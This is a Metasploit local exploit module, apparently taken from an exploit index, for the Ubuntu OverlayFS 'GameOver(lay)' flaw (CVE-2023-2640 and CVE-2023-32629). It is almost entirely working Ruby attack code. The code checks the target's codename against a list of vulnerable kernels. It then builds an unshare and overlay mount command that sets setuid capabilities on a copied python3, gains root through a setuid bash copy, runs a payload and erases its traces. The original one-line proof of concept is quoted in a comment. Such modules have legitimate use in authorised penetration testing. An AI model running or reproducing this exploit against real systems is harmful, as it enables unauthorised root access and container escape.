Share
## https://sploitus.com/exploit?id=MSF:EXPLOIT-LINUX-LOCAL-GAMEOVERLAY_PRIVESC-
class MetasploitModule < Msf::Exploit::Local
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Post::Linux::System
include Msf::Post::Linux::Kernel
include Msf::Post::File
include Msf::Exploit::FileDropper
include Msf::Exploit::EXE
def initialize(info = {})
super(
update_info(
info,
'Name' => 'GameOver(lay) Privilege Escalation and Container Escape',
'Description' => %q{
This module exploits the use of unsafe functions in a number of Ubuntu kernels
utilizing vunerable versions of overlayfs. To mitigate CVE-2021-3493 the Linux
kernel added a call to vfs_setxattr during ovl_do_setxattr. Due to independent
changes to the kernel by the Ubuntu development team __vfs_setxattr_noperm is
called during ovl_do_setxattr without calling the intermediate safety function
vfs_setxattr. Ultimatly this module allows for root access to be achieved by
writing setuid capabilities to a file which are not sanitized after being unioned
with the upper mounted directory.
},
'License' => MSF_LICENSE,
'Author' => [
'g1vi', # PoC
'h00die', # Module Suggestion
'bwatters-r7', # MsF Module
'gardnerapp', # MsF Module
],
'Platform' => ['linux', 'unix'],
'SessionTypes' => ['shell', 'meterpreter'],
'DisclosureDate' => '2023-07-26',
'References' => [
['URL', 'https://www.crowdstrike.com/blog/crowdstrike-discovers-new-container-exploit/'],
['URL', 'https://github.com/g1vi/CVE-2023-2640-CVE-2023-32629'],
['URL', 'https://www.cvedetails.com/cve/CVE-2023-2640/'],
['URL', 'https://www.cvedetails.com/cve/CVE-2023-32629/'],
['URL', 'https://www.wiz.io/blog/ubuntu-overlayfs-vulnerability'],
['CVE', '2023-32629'],
['CVE', '2023-2640']
],
'Targets' => [
[
'Linux_Binary',
{
'Arch' => [ ARCH_AARCH64, ARCH_X64 ],
'PrependSetuid' => true
}
],
[
'Linux_Command',
{
'Arch' => ARCH_CMD,
'Payload' =>
{
'BadChars' => "\x22\x27"
}
}
]
],
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK]
}
)
)
register_options [
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp']),
OptString.new('PayloadFileName', [true, 'Name of payload', Rex::Text.rand_text_alpha(rand(8..12))])
]
end
def vuln
# Keys are ubuntu versions, vals is list of vunerable kernels
{
"Lunar Lobster": %w[6.2.0], # Ubuntu 23.04
"Kinetic Kudu": %w[5.19.0], # Ubuntu 22.10
"Jammy Jellyfish": %w[5.19.0 6.2.0], # Ubuntu 22.04 LTS
"Focal Fossa": %w[5.4.0], # Ubuntu 20.04 LTS
"Bionic Beaver": %w[5.4.0] # Ubuntu 18.04 LTS
}.transform_keys!(&:to_s) # w/o this key will be :"Bionic Beaver"
end
def check
return CheckCode::Safe('Target is not linux.') unless session.platform == 'linux'
# Must be Ubuntu
return CheckCode::Safe('Target is not Ubuntu.') unless kernel_version =~ /[uU]buntu/
os = cmd_exec 'cat /etc/os-release'
# grab codename i.e. Focal Fossa
codename = os.scan(/\(\w* \w*\)/)[0]
# Remove '(' and ')'
codename.delete_prefix!('(').delete_suffix!(')')
print_status "Detected Ubuntu version: #{codename}"
# uname -r
# yields something like 5.4.0-1018-blah
kernel = kernel_release
print_status "Detected kernel version: #{kernel}"
# Make sure release is running vunerable kernel
# will this return in correct context??
# could scan kernel to prevent looping if return below doesn't work
vuln[codename].each do |version|
if kernel.include? version
return CheckCode::Vulnerable "#{codename} with #{kernel} kernel is vunerable"
end
end
return CheckCode::Safe('Target does not appear to be running a vunerable Ubuntu Distro or Kernel')
end
def exploit
pay_dir = datastore['WritableDir']
pay_dir += '/' unless pay_dir.ends_with? '/'
pay_dir += Rex::Text.rand_text_alpha(rand(6..13)) + '/'
print_status "Creating directory to store payload: #{pay_dir}"
mkdir pay_dir
directories = []
directories << pay_dir
lower_dir = pay_dir + Rex::Text.rand_text_alpha(rand(6..13)) + '/'
directories << lower_dir
upper_dir = pay_dir + Rex::Text.rand_text_alpha(rand(6..13)) + '/'
directories << upper_dir
work_dir = pay_dir + Rex::Text.rand_text_alpha(rand(6..13)) + '/'
directories << work_dir
merge_dir = pay_dir + Rex::Text.rand_text_alpha(rand(6..13)) + '/'
directories << merge_dir
bash_copy = '/var/tmp/' + Rex::Text.rand_text_alpha(rand(6..13))
# bash_copy = '/var/tmp/bash'
directories.each do |dir|
print_status "Creating directory #{dir}"
mkdir dir.to_s
end
if target.arch.first == ARCH_CMD
payload_cmd = payload.encoded
else
pay_file = datastore['PayloadFilename']
payload_path = "#{pay_dir}#{pay_file}"
print_status "Writing payload: #{payload_path}"
write_file(payload_path, generate_payload_exe)
payload_cmd = payload_path
end
# g1vi original
# "unshare -rm sh -c \"mkdir l u w m && cp /u*/b*/p*3 l/;setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;\" && u/python3 -c 'import os;os.setuid(0);os.system(\"cp /bin/bash /var/tmp/bash && chmod 4755 /var/tmp/bash && /var/tmp/bash -p && rm -rf l m u w /var/tmp/bash\")'"
# Exploit overlayfs vuln
# Build the command
rmrf_cmd = " rm -rf #{lower_dir} #{merge_dir} #{upper_dir} #{work_dir} #{bash_copy}"
exploit_cmd = 'unshare -rm sh -c "'
exploit_cmd << "cp #{cmd_exec('which python3')} #{lower_dir}; "
exploit_cmd << "setcap cap_setuid+eip #{lower_dir}python3; "
exploit_cmd << "mount -t overlay overlay -o rw,lowerdir=#{lower_dir},upperdir=#{upper_dir},workdir=#{work_dir} #{merge_dir} && "
exploit_cmd << "touch #{merge_dir}*; "
exploit_cmd << "#{upper_dir}python3 -c 'import os;os.setuid(0);os.system("
exploit_cmd << "\\\"cp /bin/bash #{bash_copy} && chmod +x #{bash_copy} && "
if target.arch.first == ARCH_CMD
payload_cmd.gsub!('\\\\\\', '\\\\\\\\')
exploit_cmd << "#{bash_copy} -p -c \\\\\\\"(#{payload_cmd}); #{rmrf_cmd}\\\\\\\""
else
exploit_cmd << "chmod +x #{payload_cmd} && #{payload_cmd} & #{rmrf_cmd}"
end
exploit_cmd << "\\\")'\""
output = cmd_exec(exploit_cmd)
vprint_status(output)
end
end